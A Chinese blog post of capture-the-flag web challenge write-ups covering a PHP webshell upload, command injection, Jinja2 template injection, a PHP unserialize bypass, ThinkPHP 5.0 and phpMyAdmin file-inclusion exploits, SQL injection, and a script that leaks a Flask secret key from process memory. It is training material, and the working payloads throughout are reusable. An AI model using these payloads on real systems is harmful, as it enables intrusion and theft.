攻防世界Web题解析(难度2)

upload1

打开环境 文件上传题

查看源码 发现只能上传图片

 

先写一个一句话木马

?php eval($_POST[1]);?>

然后改为jpg后缀 然后上传 利用BP抓包 将jpg后缀改为php后缀绕过浏览器绕过验证

 

发包 得到文件路径

 

利用蚁剑连接 获得flag

 

xff_referer

打开环境 给了个ip地址

 

 

根据题目提示: X老师告诉小宁其实xff和referer是可以伪造的。

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的

那我们直接利用BP抓包 添加个X-Forword-For头就可以了

 

 

得到一个要求 意思就是说我们的referer 要添加这个谷歌连接

 

据可以获得flag

command_execution

这一题就考察ping命令和一些命令拼接的方法

输入127.0.0.1

 

输入127.0.0.1;

 

说明;没有被过滤

输入127.0.0.1;ls / 查看根目录

 

查看home目录

 

发现flag.txt 用cat查看

 

还有其他的命令拼接符也可获得flag

web2

打开页面就是一串代码

 

审计代码

分析其中的PHP内置函数

strrev(string): 反转字符串

strlen(string): 返回字符串的长度

substr(string, start, length): 返回字符串的一部分

string: 所需要的字符串

start: 在字符串何处开始

length: 可选。规定被返回字符串的长度。默认是直到字符串的结尾

ord(string): 返回字符串首个字符的 ASCII 值

chr(): 从指定的 ASCII 值返回对应的字符

str_rot13(string): 对字符串执行 ROT13 编码。

ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变

编码和解码都是由该函数完成的。如果把已编码的字符串作为参数,那么将返回原始字符串

base64_encode(string): 使用 MIME base64 对数据进行编码

分析题目中的函数
  1. 循环开始:给encode一个参数 $str
  2. 将所传参数 $str 通过 strrev() 函数反转字符串操作并赋值给 $_o
  3. 循环遍历 变量 $_o
  4. 在for循环中首先依次取字符串 $_o 的第 $_0 个值,赋值给 $_c
  5. 将变量 $c 转化为 ASCII码 并 +1,赋值给 $_
  6. 将 $__ 转化为该ASCII码所对应的字符,赋值给 $_c
  7. 拼接字符串,赋值给 $_ , 循环结束。
  8. 将拼接好后的字符串 $_ 进行 base64编码
  9. 将编码后的值进行反转字符串操作
  10. 对反转后的字符串进行 rot13 加密
  11. 得出结果为 $miwen
解密 $miwen
<?php

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

$_o=base64_decode(strrev(str_rot13($miwen)));

    for($_0=0;$_0<strlen($_o);$_0++){

       

        $_c=substr($_o,$_0,1);

        $__=ord($_c)-1;

        $_c=chr($__);

        $_=$_.$_c;   

    }

$_=strrev($_);

echo $_;

?>

 

Web_python_template_injection

打开页面

 

Python模板注入

我们先了解一些基本概念:

 模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易,但是模板引擎也拓宽了我们的攻击面,注入到模板中的代码可能会引发RCE或者XSS。

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。

在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的

首先我们检测一下是否存在模板注入

输入{{10+20}} 看来被执行了

 

还是先介绍一些知识

几种常用于ssti的魔术方法:

__class__  返回类型所属的对象

__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析

__base__   返回该对象所继承的基类

(__base__和__mro__都是用来寻找基类的)

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__  类的初始化方法

__globals__  对包含函数全局变量的字典的引用

__builtins__  builtins就是引用

Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。

在python 里 [] 表示空列表,()表示空元组,{}表示空字典 对字典、列表、元祖的

取值均使用变量名 x[index or key] 的形式。

获取基类的几种方法:

[].__class__.__base__

''.__class__.__mro__[2]

().__class__.__base__

{}.__class__.__base__

request.__class__.__mro__[8]

[].__class__.__bases__[0]  

获取本类的子类

[].__class__.__base__.__subclasses__()

我们可以利用的方法有<type 'file'>等(甚至file一般是第40号)

 ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

首先我们查找Object类 {{''.__class__.__mro__[?]}}

发现 {{''.__class__.__mro__[2]}} 是Object类

 

 寻找可用引用 {{''.__class__.__mro__[2].__subclasses__()}}

 

可以看到有一个type file类型(可以进行文件读取)

尝试利用file类读取文件

[40]是tupe file类型出现位置,前面共有40个逗号,是第四十一个,索引值为 40 , 索引从0开始

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

 

能够正常回显,说明file类执行正常。

试着读取 /flag 类似的文件,服务器返回500,因为不知道具体文件名

 

但这里还有一个 <class ‘site._Printer’>类型(可以进行命令执行

 

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

[71]为<class ‘site._Printer’>出现位置

 

知道文件名后我们读取flag

(采用os模块的listdir函数来读取目录,可以配合file来实现任意文件读取)

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

 

三个常用payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

Web_php_unserialize

打开页面

 

审计代码

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { //get方法传参
    $var = base64_decode($_GET['var']);  //对获取到的参数var的值进行base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {  //正则表达式过滤  \d匹配任意的数字  /i表示匹配时不区分大小写 /[oc]匹配oc字符
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

理一下构造pop链的思路

从参数传入的地方入手

进行了一个base64的解码   在传入参数的时候先对参数的值进行base64加密进行第一步的绕过。
进行了一个正则表达式的判断  匹配到任意长度的数字  或者oc字符都会被过滤  直接结束进程。
当正则的过滤被绕过之后   对传入的参数var的值进行反序列化处理  
注意:此时__wakeup()函数会被自动调用  当其被调用时输出的文件就会被强制更改成  index.php  所以这里需要对这个函数进行绕过。

pop链

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
echo $c ;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到payload:

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

给var传参发现页面没有回显

原因; 对于private变量 进行序列化时会在类名和字段名上添加保护

前后均有空格

因此对于private属性在类名和字段名前均需要添加\0

当使用浏览器提交时需要在类名和字段名前添加%00   

对pop链进行修改

<?php 
class Demo { 
    private $file = 'index.php';  //设置了类的私有变量
    public function __construct($file) { //实例化对象时将会被调用
        $this->file = $file;   //将对象的file属性的值设置为file变量
    }
    function __destruct() {  //当对象被销毁时将会被调用
        echo @highlight_file($this->file, true);  //输出读取到的文件
    }
    function __wakeup() {    //当进行反序列化操作时候  函数将会被调用
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php  //将对象的file参数设置为index.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a= new Demo('fl4g.php');//实例化对象   __construct函数将会被自动调用  fl4g.php 将会被赋值给$file变量
$c=serialize($a);   //对a进行序列化操作
$c=str_replace('O:4', 'O:+4',$c);  //通过添加+号绕过正则的过滤
$c=str_replace(':1:', ':2:',$c);   //利用__wakeup()的CVE-2016-7124  在序列化的字符串当中当真实的属性个数大于真实的属性个数时  该函数不会执行
$c=str_replace(' ','%00',$c);   //序列化私有类时  类名和字段名前会有空格  使用url传参时需要将空格替换成%00
echo $c;
$j=(base64_encode($c));  //对其进行base64编码
echo $j;
?>

得到payload

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
给var传参得到flag

 php_rce

打开i环境 看到5.0版本 就可以联想到

那么这道题就是ThinkPHP 5.0远程命令执行漏洞

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。

下面就来介绍一下漏洞利用

1.利用system函数远程命令执行

payload:

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

得到用户名

​​​

2.通过phpinfo函数写出phpinfo()的信息

payload:

http://61.147.171.105:61996/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

当然还有其他的这里就不多讲 可以访问https://www.cnblogs.com/backlion/p/10106676.html 进行详细的理解

那这道题如何获得flag呢

 因为上面的用户名可以得到 那么我们就可以查看他的根目录

payload:

http://61.147.171.105:61996/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

 找到 flag 利用cat 命令就可以得到flag

 Web_php_include

打开i环境 典型的文件包含题 php://被过滤 试试其他的伪协议

我们使用data://协议进行尝试

payload:

http://61.147.171.105:60659/index.php?page=data://text/plain,<?phpinfo();?>

 有回显 发现可以使用 那我们尝试查看一下目录

payload:

http://61.147.171.105:60659/index.php?page=data://text/plain,<?system('ls');?>

 发现了f14gisisish3r3.php

使用cat 命令获得flag(查看源码获得)


supersqli

 打开题目很明显,直接想到sql注入

经过测验 发现注入点为1' 

查看列数

不是三列

试试2列 有回显 说明就2 列

 

接下来查询数据库名

 

发现select被过滤了 试了试双写绕过和大小写都不行 

那只好使用堆叠注入试试和show方法

1'; show databases; --+

发现supersqli库名

 看表名

 1';use supersqli;show tables;--+

 

得到2个表名 那个数字的比较奇怪 查看什么字段试试

爆字段

提交(纯数字为表名要打引号)

 

 1';use  supersqli; show columns from `1919810931114514`;#  

发现flag

下一步应该是select flag from `1919810931114514`,但是select被过滤

 接下来可以用预编译

设置参数

set @sql = CONCAT('se','lect * from `1919810931114514`;');

执行预编译SQL语句

prepare stmt from @sql;

EXECUTE stmt;

payload:

1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;--+

 好像set 也被过滤了 换大写就可以

获得falg

 或者:

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id
然后用1' or 1=1 #得到flag

warmup

 

打开题目,f12发现:

<!--source.php-->

访问hint.php:

flag not here, and flag in ffffllllaaaagggg

看到source.php,发现源代码:

 

先看四个if语句,只要有一个真,就返回ture,思考构造payload使哪个成真。
第一个检查page是否为空和判断page是否为字符型
第二个判断page是否在白名单上并且mb_substr函数还会截断page中问号前面的部分
第三个是对page进行url解码,再截取。
第四个是判断截取出来的page是否在白名单上。
二到四只需要满足一个条件即可返回真,第四个最简单,直接构造/?file=hint.php?

通过资料发现,其实说的很简单,如过设置了参数file,且参数file是字符串,且使用emmm的checkFile方法检测时为true则包含这个file的内容。其实就是一个非常简单的文件包含漏洞,但他居然是一个CVE:phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

4.加载下面某个路径,就可得到flag(Include 目录穿越
)

?file=hint.php?/../../../../../ffffllllaaaagggg
?file=source.php%3f/../../../../ffffllllaaaagggg	# %3f解码:?
?file=source.php%253f/../../../../ffffllllaaaagggg	# %25解码:% ,加上3f又成了%3f

 

 catcat-new

 判断可能有任意文件读取漏洞。利用目录穿越读取/etc/passwd文件

 发现存在漏洞 读取flag试试

发现不行 只能换思路了 

读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令。 所以可以得出该网站使用Python框架,并且因为有app.py可知使用的是flask框架。

尝试读取app.py文件。

 

复制文本内容,将字符串f-string格式化输出美化一下。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
 
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
    flag = cat("/flag")
    os.remove("/flag")
 
 
@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
 
    return render_template("index.html", cats_list=cats_list, cat=cat)
 
 
@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
 
 
@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

 

 以上就是app.py的代码

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。

执行破解脚本

# coding=utf-8
# ----------------------------------
###################################
# Edited by lx56@blog.lxscloud.top
###################################
# ----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:62610/"

# 此程序只能运行于Python3以上
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')


# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

 运行脚本得到Secret Key:4358eeb7d3974f499cd109ba591ab949*abcdefgh

session在访问/admin路径时的cookie中,

通过抓包得到session 

 利用工具flask_session_cookie_manager伪造session,先下载flask_session_cookie_manager工具,使用下列命令生成session

使用工具flask_session_cookie_manager伪造session。使用方法为:

解密 python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
加密 python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”
 

  得到伪造的session,使用burpsuite更改session并执行,得到flag。

 本题知识点:

Linux系统敏感文件,flask_session_cookie_manager伪造session并执行,session存储在cookie中

/etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为      用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

/proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

/proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

flask-session结构

 flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。

  • /proc/self/environ

/proc/self/environ文件包含了当前进程的环境变量

  • /proc/self/fd

这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。

当pid不知道时,我们可以通过bp**,pid是数字。

  • /proc/self/exe

获取当前进程的可执行文件的路径

 NewsCenter

这道题环境有点问题

目标

简单的SQL注入,读取 information_schema 元数据,然后读取flag。
sqlmap 也可解。

环境

windows

工具

sqlmap

分析过程

1.初步探测,发现搜索框存在注入
' union select 1,2,3 #

2.获取数据库名,表名
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #

3.获取news 表的字段名,数据类型
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#

4.获取f1agfl4gher3 字段名 数据类型
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#

5.得到flag
' and 0 union select 1,2,fl4g from secret_table #

sqlmap版本

1.获取注入点

sqlmap -u http://192.168.100.161:53459 --data "search=df"

2.获取数据库信息

sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs

3.获取库内表信息

sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables

4.获取表内字段信息

sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns

5.获取字段内容,得到flag

sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值